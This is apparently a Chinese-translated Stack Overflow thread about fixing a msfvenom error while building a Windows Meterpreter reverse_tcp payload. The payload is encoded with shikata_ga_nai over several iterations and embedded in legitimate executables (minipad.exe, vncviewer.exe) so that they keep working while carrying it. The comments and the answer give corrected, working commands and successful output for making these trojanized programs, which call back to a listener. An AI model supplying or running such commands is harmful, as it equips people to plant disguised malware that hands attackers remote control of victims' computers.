【问题标题】:ERROR: you must select an arch for a custom payload错误:您必须为自定义有效负载选择一个拱门
【发布时间】:2015-12-01 11:01:44
【问题描述】:
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8


Attempting to read payload from STDIN...

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 299 bytes

Error: You must select an arch for a custom payload

架构已指定,但错误仍然存​​在

有什么帮助吗??

【问题讨论】:

  • 为什么要两次调用 msfvenom?一个调用是否满足所有参数?
  • 是的,我也尝试过,但徒劳无功...如果您觉得任何特定的调用都可以,请发布语法。谢谢!
  • 问题在于-c 8 可能意味着您想要8 次迭代,但您使用-i 开关来做到这一点。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o minipad123.exe -e x86/shikata_ga_nai -i8 -k -x minipad.exe 怎么样?至少 cmd msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o test.exe -e x86/shikata_ga_nai -i8 使用 meterpreter/reverse_tcp 有效负载为我生成一个有效的可执行文件。您还想要将有效负载添加到现有文件中吗?
  • 没有绑定的 cmd 对我来说也可以正常工作,但是第一个命令在迭代后给了我一个错误。错误:nil:NilClass 的未定义方法“编码​​”
  • 为我工作。我将 Windows 二进制文件复制到当前目录。 cp /usr/share/windows-binaries/vncviewer.exe . 添加了 Meterpreter 有效载荷 $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 --platform win -a x86 -f exe -o vncviewer_with_metasploit.exe -e x86/shikata_ga_nai -i8 -k -x vncviewer.exe Found 1 compatible encoders Attempting to encode payload with 8 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) ... x86/shikata_ga_nai chosen with final size 515 Payload size: 515 bytes Saved as: vncviewer_with_metasploit.exe

标签: metasploit


【解决方案1】:

在 kali linux 2.0 sana 中需要提供基于以下格式的信息

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe

在kali 2.0中需要指定编码类型

现在运行代码
将 window.exe 更改为您应得的位置

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2021-11-30
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-06-10
    • 1970-01-01
    • 2012-06-07
    相关资源
    最近更新 更多